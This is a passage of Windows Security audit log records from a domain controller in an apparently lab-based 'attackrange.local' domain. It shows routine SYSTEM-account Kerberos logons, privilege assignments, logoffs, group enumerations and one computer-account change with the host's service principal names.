{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 62357 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:56:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254139 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB74CD - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:56:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254138 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB6CAD - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:56:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254137 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB6CAD - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 62356 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:56:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254136 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB6CAD - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:56:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254135 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB6B6D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:56:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254134 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB6B6D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 62355 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:56:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254133 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB6B6D - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:56:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=254132 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x7fc - Process Name: C:\Windows\System32\dfsrs.exe -03/11/2021 11:56:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=254131 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x7fc - Process Name: C:\Windows\System32\dfsrs.exe -03/11/2021 11:56:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254130 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB6927 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:56:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254129 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB6927 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 62353 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:56:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254128 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB6927 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:56:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254127 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB688F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:56:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254125 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB688F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 62352 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:56:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254124 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB688F - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:56:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4742 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Computer Account Management -OpCode=Info -RecordNumber=254123 -Keywords=Audit Success -Message=A computer account was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB66F1 - -Computer Account That Was Changed: - Security ID: ATTACKRANGE\WIN-DC-725$ - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - Display Name: - - User Principal Name: - - Home Directory: - - Home Drive: - - Script Path: - - Profile Path: - - User Workstations: - - Password Last Set: - - Account Expires: - - Primary Group ID: - - AllowedToDelegateTo: - - Old UAC Value: - - New UAC Value: - - User Account Control: - - User Parameters: - - SID History: - - Logon Hours: - - DNS Host Name: - - Service Principal Names: - ldap/win-dc-725.attackrange.local/attackrange.local - ldap/win-dc-725.attackrange.local - ldap/WIN-DC-725 - ldap/win-dc-725.attackrange.local/ATTACKRANGE - ldap/8895e047-912a-4468-a586-e230159c0f25._msdcs.attackrange.local - ldap/WIN-DC-725/ATTACKRANGE - E3514235-4B06-11D1-AB04-00C04FC2DCD2/8895e047-912a-4468-a586-e230159c0f25/attackrange.local - HOST/win-dc-725.attackrange.local/attackrange.local - HOST/win-dc-725.attackrange.local - HOST/WIN-DC-725 - HOST/win-dc-725.attackrange.local/ATTACKRANGE - HOST/WIN-DC-725/ATTACKRANGE - RPC/8895e047-912a-4468-a586-e230159c0f25._msdcs.attackrange.local - RestrictedKrbHost/WIN-DC-725 - RestrictedKrbHost/win-dc-725.attackrange.local - GC/win-dc-725.attackrange.local/attackrange.local - DNS/win-dc-725.attackrange.local - ldap/win-dc-725.attackrange.local/DomainDnsZones.attackrange.local - ldap/win-dc-725.attackrange.local/ForestDnsZones.attackrange.local - TERMSRV/win-dc-725.attackrange.local - TERMSRV/WIN-DC-725 - Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/win-dc-725.attackrange.local - -Additional Information: - Privileges: - -03/11/2021 11:56:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254121 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB6778 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 62351 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:56:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254120 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB6778 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:56:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254119 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB673F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 62350 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:56:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254118 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB673F - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:56:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254117 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB66F1 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 62350 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:56:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254116 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB66F1 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:56:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254115 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB668C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 62348 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:56:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254114 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB668C - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:56:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254113 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB6650 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:56:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254112 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB6650 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 62347 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 